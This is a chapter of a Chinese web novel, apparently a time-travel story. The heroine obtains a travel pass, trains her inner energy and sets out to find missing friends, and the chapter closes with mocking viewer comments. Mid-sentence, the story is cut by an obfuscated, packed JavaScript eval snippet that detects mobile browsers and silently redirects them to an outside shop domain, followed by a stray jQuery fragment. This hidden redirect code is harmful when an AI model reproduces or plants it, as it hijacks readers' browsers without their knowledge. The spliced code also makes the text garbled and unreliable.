我不知道阿音那边是怎么运作的,很快就拿到了传。
“给。”
一块木牍,长一尺,宽二寸。上面的隶书端正,格式规范,还有官员签押。我摸摸写着“闾丘易”和“峣关、武关”的地方。
温灵嘱咐我:“一定要随身带着,不能丢失。如果下次再想出门,需要重新找我办。”
“谢谢阿音。”我握紧传,放在胸前,“我一定会小心保管的!”
她又问道:“什么时候出发?”
我想了想:“我还没想好,但是去之前一定会提前告诉你。”
温灵的笑意如春风化开:“好。”
夜里,我捏着传,独自坐在月光下出神。
按理,阿音帮我办好传,可谓万事俱备,东风也至。我应该像一只鸟立刻飞去找阿禾。
今天之前,我确实也是这么想的。
但是……
我答应过阿禾,要留在这里守护大家。
如果因为我的私欲离开,不在的这段时间里,家里这边发生什么可怕的事,我一辈子也不会原谅自己。
虽然知道概率很小,但我还是被自己的这个假设吓到后背发凉。
我犹豫了很久,轻轻对着传说话,好像那是阿禾。
“阿禾,对不起。为了大家和承诺,这次我不能马上去找你。你们一定都要平安地回来。我相信你们。”
我不想做只会黏黏糊糊缠着朋友的人,我要用我有限的能力,做到我应尽的责任。
只是这样一来,难免辜负了阿音待我的一番心意,白白帮我办了传,我又没有去。
我想,以后一定要对阿音很好很好。
——
转天下午,思柔开心地叫住我:“阿易,阿桂姊姊打了山鸡回来,今晚有鸡汤喝了!”
“阿桂姐这么厉害!”我惊讶地说。
打猎,这都是我想象不到的事。
阿桂姐高大壮实,眼角处有道浅浅的疤痕,绑腿里常插一把匕首,笑起来却有些羞涩。
“小意思。下次给你们打更多。”
我的操心病又犯了:“山上猛兽多吗?一定要小心些。”
虽然我没进过什么深山老林,但不见日光的密林,树后可怖的眼睛,光想象一番就觉得背后冒冷汗。
“还好。”阿桂姐轻松道,“阿雪和思柔跟我一起去,三人作伴,倒也不闷。”
我松了口气:“那就好。”
阿禾还有三天才回来。这三天里,我的内力聚得更深了,尝试运沿着任脉运行,过气海,神阙,到中脘就上不去了。
看武侠小说里的主角总是天赋异禀,一下速成,怎么到我这里这么慢啊。
阿音却说已经很快了,如果没有轻功基础,更难练会。
我不死心,在屋里日夜都练两遍,总是不通,练累了就指着自己辨认剩下的穴位。
“这是上脘,这是巨阙,这是紫宫……”
“这么用功呀!”清扬把晒干的药材收进来,“阿易,你也要学医?”
我摇头:“不,我在练内功,要用到这些穴位。清扬,你帮我看看,这是璇玑吗?”
“内功?”清扬把我的手指往上拉了一寸,点在胸部前的正中,“在这里。”
“哦,那天突是不是在这?”我指着胸骨上窝。
“对。”
“还有廉泉……”
清扬耐心地一一帮我指正位置后,若有所思:“你在认妊脉?”
“对啊。我要先打通任督二脉。”我说着,耳朵不自觉热了。
虽然我读过些武侠小说,但这句话说出来,还是挺中二的。
清扬轻轻颔首表示理解:“妊脉乃阴脉之海,调节阴经气血,妊脉畅通,对女子来说很有好处。”
我翻开《长生诀》那页,指给清扬看:“所以,任脉的任,是妊娠的妊?”
“没错。”
难怪,秘籍里写的是“妊”。我还以为是写错了,结果是我所知有限。
想想也是,系统怎么可能给我盗版秘籍?我和阿音照着练出事怎么办。
——
等我的内力终于充盈到运行完任脉,阿禾她们却还没回来。
当初说半个月就回,现在已经第十八天,是不是有什么事耽搁了呢?
闾丘易,不可以往坏处想。我告诫自己。当初说是探路,不测地图;但她们把工具也带了去,也许想多留几天测数据呢。
可是,阿青当初的玩笑萦绕在我耳边。
“测绘精密地图,在军事要塞,是死罪。”
峣关、武关……
我犹疑不定,不知不觉间出了屋,握着传,在院子里枯坐。眼前浮现和阿禾一起看星星的场景,不禁抬头望向天空。
今天是满月啊。星星和那天一样亮。北斗七星是一把勺子,勺底最暗的是天权,勺柄末端最亮最远的是瑶光。
我总算明白,为何古人喜欢对月思乡。没有电话,没有网络,不能通信。只有这副身体,沐浴在同一片月光星光之下。
“阿易,你去吧。”身后突然传来声音。
转头一看,是阿秀姐、小娥、清扬、阿雪和杏娘。
我愣住了:“去……去哪?”
“把大家找回来。”小娥沉静地说,“像我们第一次见面那样。”
董卓的库房、永安宫。
我心中一酸,喉咙涌上热流。
杏娘续道:“阿易,你的心事,大家都知道。这也是我们共同的心事。”
我梗了一下:“可是,我答应过阿禾,要在这里守护大家。”
阿雪摇头:“不用你守,我们自己会照顾好一切。我已经和阿桂姊姊学了好多机关。”
“对。”阿秀姐朴实的声音令人安心,“你放心去,这里有我们。”
“文瑾她们久久不归,阿易,我们和你一样担心。”清扬说到这,故作轻松地笑了一下,“要不是你跑得快,办到了传,我们就跟你一起去!现在,只有靠你了。”
每次出行都要办传,所以她们只申请了一起去的人。
是啊,也许大家需要我。
想到这,我不再犹豫,利落站起:“好,明天我就出发。”
转天,我起了个大早,打了个包袱,里面有思柔准备的干粮、清扬准备的伤药,却没有直接出发,而是去了我和阿音每天见面的地方。
卯时,阿音如约而至。她一向很准时。
见我背着包袱,她眼中一片了然:“要出发了?”
“嗯。”
“什么时候回来?”
“找到就回来。”我迟疑一瞬,还是说了出来,“阿音,我想拜托你一件事,可以吗?”
“什么?”
“我……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797390|210539||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当初在洛阳,我结识很多女子,我们一同来长安。她们好不容易躲过死亡,我想拜托你照看几天,我知道这样是给你添麻烦,我已经给你添了很多麻烦,但……”
“可以。”阿音几乎毫不犹豫地回答我,堵回了我在心里过了好几遍的话。
我呆呆地看着她,一时不知道该怎么应对。
“可是,我还没说完,你怎么就说可以?”
阿音笑意更深:“没人规定你不说完之前我不可以答应啊。再说,我不答得快一点,你又要解释起来没完了。”
……我是不是真的很啰嗦?
“阿音,真的多谢你!”我双手交叠,感激地鞠了一躬。虽然是一个四不像的礼。
温灵托起我的手:“哎阿易,你这是做什么,我们不是朋友吗?”
“是朋友,但本来你是没必要帮忙的……”
“什么没必要。”她神情郑重,“朋友的忙当然要帮了。要是我需要,你肯定也会帮我,对不对?”
我用力点头,又有点羞惭:“就是我似乎没什么可以帮上你的。”
阿音握紧我的手:“阿易,你又忘了。朋友的珍贵,不在别的,在心。你要是过意不去,就早点回来。”
“一定。”我给阿音指了位置,又告诉她附近有陷阱,想带她去一次。
温灵却拒绝了:“不必。我每天顺便过来从外围看一眼就行。阿易,你知道我的本事,我不用近前也能看出有没有人侵入。”
辞别阿音,我独自踏上旅途。
虽然知道路线,但我担心错过,所以一面打听,一面赶路。
人烟稀少之地,我就使出轻功赶路;人群聚居之地,我描述阿禾她们的相貌,却一无所获。一路走来,遇到的人都很好,尤其是路过一户人家,老婆婆见我孤身一人,还舀了碗水,让我慢慢喝。
又两天过去,我也迷茫起来。我问过的人,大多说不知道,有几个人说似乎有点印象。
难道阿禾她们已经回去,或者没有到过这?
我在心里给自己加油打气:这年头大家肯定都顾着自己的生计,谁会特意关心路过的几位年轻姑娘呢。
但每过一县,我还是在街巷里各转一圈。有次还被衙役盯上,盘问了半晌。
过峣关之时,军士查问,我赶紧递上传,心中紧张不已,怕下一秒被拉去做苦役。
“走!”军士不耐烦地挥挥手,放行了一批人。通过之后,我悄悄松了口气。
【观众弹幕】
【会飞的萝卜】:“真不知道女主为什么这么看重友情。为了虚无缥缈的感情各种付出值得吗?也就是这群NPC人好,不然一个背刺女主就体验到什么叫地狱。”
【空调外机的沉思】:“8137这种傻乎乎的倒贴型最烦人了。主线任务是不做的,NPC是要讨好的。真是扶不起的阿斗。”
【毒舌姐的小号】:“她连阿斗是谁都不知道吧。”
【三级摸鱼运动员】:“哈哈,这什么地狱笑话。”
【黄泉路人】:“我看不如取消全部奖励,中间给她希望,但最终让她一无所得。”
【信号不好你说啥】:“撒旦都没你阴啊。”
【就要无CP】:“其实吧,有一个有情的女主也挺好的。”
【人类的本质是真香】:“@就要无CP,来,跟我复读我的名字。”